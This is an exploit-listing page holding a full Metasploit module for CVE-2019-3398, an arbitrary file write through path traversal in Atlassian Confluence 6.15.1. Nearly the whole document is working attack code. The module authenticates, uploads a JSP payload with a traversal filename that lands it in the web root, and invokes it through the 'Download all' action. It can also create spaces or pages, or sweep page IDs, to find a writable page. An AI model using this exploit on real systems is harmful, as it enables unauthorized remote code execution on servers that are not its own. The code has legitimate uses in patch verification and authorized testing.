Atlassian Confluence 6.15.1 – Directory Traversal (Metasploit)
# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit) # Google Dork: N/A # Date: 2019-11-11 # Exploit Author: max7253 # Vendor Homepage: https://www.atlassian.com # Software Link: https://www.atlassian.com/software/confluence/download-archives # Version: 6.15.1 # Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu # CVE : N/A ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)", 'Description' => %q{ To use this exploit you should specify the following variables: USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server. ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'. Typical ROOTFOLDER locations are: Windows: Program Files/Atlassian/Confluence/confluence/pages/ Linux: opt/atlassian/confluence/confluence/pages/ Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above). PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files. For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true. If PAGEID is set to 0, the script will try to create a new Page ID. If it fails, it will try to create a new space and create a Page ID there. If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range. The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the shellcode, then imitates the 'Download all' action to place the shellcode to the root directory of the web server. Tested on Atlassian v6.15.1. on Linux and Windows. Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maxim Guslyaev' # Metasploit module ], 'References' => [ [ 'CVE', '2019-3398' ], [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html' ], [ 'URL', 'https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181'], [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-3398'] ], 'Privileged' => false, 'Platform' => %w{ linux win }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_JAVA }], [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_JAVA }] ], 'DefaultOptions' => { 'RPORT' => 8090, 'SSL' => false }, 'DisclosureDate' => 'Nov 9 2019', 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [true, 'The login to log into the web interface of the Atlassian Confluence server', 'test']), OptString.new('PASSWORD', [true, 'The password to log into the web interface of the Atlassian Confluence server', 'test']), OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'Program Files/Atlassian/Confluence/confluence/pages/']), #OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'opt/atlassian/confluence/confluence/pages/']), OptString.new('FILENAME', [true, 'The JSP shellcode file name', 'covfefe.jsp']), OptString.new('TARGETURI', [true, 'The base to Confluence', '/']), OptString.new('NEWSPACE', [false, 'A new space to be created', 'TESTSPACE432545645']), OptInt.new('PAGEID', [false, 'A Page ID to be used to upload shellcode', 0]), OptInt.new('PAGEID_RANGE_START', [false, 'The first Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '1']), OptInt.new('PAGEID_RANGE_END', [false, 'The last Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '999999999']), ], self.class) end def do_authenticate print_status("Sending POST request to the web application (authentication)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/dologin.action'), 'method' => 'POST', 'vars_post' => { 'os_username' => datastore['USERNAME'], 'os_password' => datastore['PASSWORD'], 'os_destination' => '', 'login' => 'Log+In' } }) if res.nil? print_status("Unable to access the web application!") return 0 end @sessid = get_sid(res) if @sessid.nil? print_status("Unable to retrieve session ID!") return 0 end print_status("Getting Session ID from the web application... #{@sessid}") if res && res.redirect? location = res.redirection if location.nil? print_status("Unable to access the web application when redirected!") return 0 end res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path.to_s, location.to_s), 'method' => 'GET', 'headers' => { 'Cookie' => @sessid } }, redirect_depth = 5) end if res && res.code == 200 if res.body =~ /re-enter\syour\slogin/ || res.body =~ /Sorry,\syour\susername\sand\/or\spassword\sare\sincorrect/ || res.body =~ /Unauthorized/ print_status("Authentication failed...") return 0 end @xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content'] if @xsrf_token.nil? or @xsrf_token.blank? print_status("Failed to retrieve XSRF token...") return 0 else print_status("Retrieving XSRF token... #{@xsrf_token}") return 1 end else print_status("Unexpected response from the web application...") return 0 end end def do_upload(_pageid) print_status("Sending POST request to the web application (shellcode upload)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/plugins/drag-and-drop/upload.action'), 'method' => 'POST', 'vars_get' => { 'pageId' => _pageid, 'filename' => '../../../../../../../../../../' + datastore['ROOTFOLDER'] + datastore['FILENAME'], 'size' => payload.encoded.length, 'mimeType' => 'text/plain', 'spaceKey' => 'isis', 'atl_token' => @xsrf_token, 'name' => datastore['FILENAME'] }, 'data' => payload.encoded, 'headers' => { 'Connection' => 'close', 'Accept' => '*/*', 'Accept-Encoding' => 'identity', 'Cookie' => @sessid, 'Content-Length' => payload.encoded.length, 'Content-Type' => 'text/plain' } }) if res && res.code == 200 && res.body.scan(/actionErrors/).blank? print_status("Shellcode uploaded...") return 1 else return 0 end end def do_downloadall(_pageid) for downloadall_iter in 1..10 print_status("Sending GET request to the web application (downloadall)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/pages/downloadallattachments.action'), 'method' => 'GET', 'vars_get' => { 'pageId' => _pageid }, 'headers' => { 'Cookie' => @sessid } }) print_status("Sending GET request to the web application (shellcode invokation)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/pages/' + datastore['FILENAME']), 'method' => 'GET', 'headers' => { 'Cookie' => @sessid } }, timeout = 10) if res && res.code == 200 print_status("Shellcode found...") return 1 else if downloadall_iter == 10 print_status("Shellcode not found...") return 0 end end end end def do_getspaces print_status("Sending GET request to the web application (getting available spaces)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/rest/api/space'), 'method' => 'GET', 'headers' => { 'User-Agent' => 'python-requests/2.20.0', 'Cookie' => @sessid, 'Accept' => '*/*', 'Accept-Encoding' => 'identity', 'Content-Type' => 'application/json' } }) if res && res.code == 200 && res.body =~ /results/ space_list = res.body.scan(/\"key\":\"(\w+)\"/).flatten else space_list = Array([]) end return space_list end def do_createspace print_status("Sending POST request to the web application (creating a space)...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/rest/api/space'), 'method' => 'POST', 'data' => { "key": datastore['NEWSPACE'], "name": "Example space", "description": { "plain": { "value": "This is an example space", "representation": "plain" } }, "metadata": {} }.to_json, 'headers' => { 'User-Agent' => 'python-requests/2.20.0', 'Cookie' => @sessid, 'Accept-Encoding' => 'identity', 'Content-Type' => 'application/json' } }) if res && res.code == 200 && res.body =~ /\"key\":\"\w+\"/ print_status("Space created...") return res.body.scan(/\"key\":\"(\w+)\"/).flatten[0] else print_status("Space not created...") return 0 end end def do_createpage(_space) print_status("Sending GET request to the web application (creating Page ID), space #{_space}...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, '/pages/createpage.action?spaceKey='+_space), 'method' => 'GET', 'headers' => { 'Cookie' => @sessid } }) if res && res.code == 200 && res.body =~ /ajs-draft-id/ pageid = res.get_html_document.at('meta[@name="ajs-draft-id"]')['content'] pageid_parsed = /(\d+)/.match(pageid) if pageid_parsed.nil? print_status("Unexpected Page ID format...") return 0 else print_status("Page ID created... #{pageid}") datastore['PAGEID'] = pageid return 1 end else return 0 end end def get_sid(res) if res.nil? return '' end res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || '' end def exploit print_status("Getting authenticated to the web application...") if do_authenticate != 1 fail_with(Failure::Unknown, 'Initial access or authentication error!') end unless datastore['PAGEID'].blank? if datastore['PAGEID'] == 0 print_status("Creating Page ID...") spaces = do_getspaces for sp in spaces if do_createpage(sp) == 1 print_status("Uploading shellcode...") if do_upload(datastore['PAGEID']) != 1 print_status("Failed to upload shellcode...") next end print_status("Invoking shellcode...") if do_downloadall(datastore['PAGEID']) != 1 print_status("Failed to invoke shellcode...") next else return end end end print_status("Trying to create a new space...") new_sp = do_createspace if new_sp != 0 if do_createpage(new_sp) == 1 print_status("Uploading shellcode...") if do_upload(datastore['PAGEID']) != 1 fail_with(Failure::Unknown, 'Error while uploading shellcode!') end print_status("Invoking shellcode...") if do_downloadall(datastore['PAGEID']) != 1 fail_with(Failure::Unknown, 'Error while invoking shellcode!') end return else fail_with(Failure::Unknown, 'Error while creating page in the newly created space!') end else fail_with(Failure::Unknown, 'Error while creating space!') end end print_status("Uploading shellcode...") if do_upload(datastore['PAGEID']) != 1 fail_with(Failure::Unknown, 'Error while uploading shellcode!') end print_status("Invoking shellcode...") if do_downloadall(datastore['PAGEID']) != 1 fail_with(Failure::Unknown, 'Error while invoking shellcode!') end else for id in datastore['PAGEID_RANGE_START']..datastore['PAGEID_RANGE_END'] print_status("Trying Page Id #{id}") print_status("Uploading shellcode...") if do_upload(id) == 1 print_status("Invoking shellcode...") if do_downloadall(id) == 1 break end end end end end def check res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path.to_s, '/login.action?anon=1&logout=1'), 'method' => 'GET', }, redirect_depth = 5) if res && res.body =~ /Powered\sby/ ver = res.body.scan(/^.*Powered\sby\s.*(\d{1,}\.\d{1,}\.\d{1,}).*$/).flatten[0] print_status("The version of the web application is #{ver}") ver_parsed = /(\d+)\.(\d+)\.(\d+)/.match(ver.to_s) if ver_parsed.nil? print_status("The version of the web application couldn't be parsed") return Exploit::CheckCode::Detected end ver_oct1 = ver_parsed[1].to_i ver_oct2 = ver_parsed[2].to_i ver_oct3 = ver_parsed[3].to_i if ver_oct1.between?(2, 6) && ver_oct2.between?(0, 6) && ver_oct3.between?(0, 12) || ver_oct1.between?(6, 6) && ver_oct2.between?(7, 12) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(13, 13) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(14, 14) && ver_oct3.between?(0, 2) || ver_oct1.between?(6, 6) && ver_oct2.between?(15, 15) && ver_oct3.between?(0, 1) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Unknown end end end |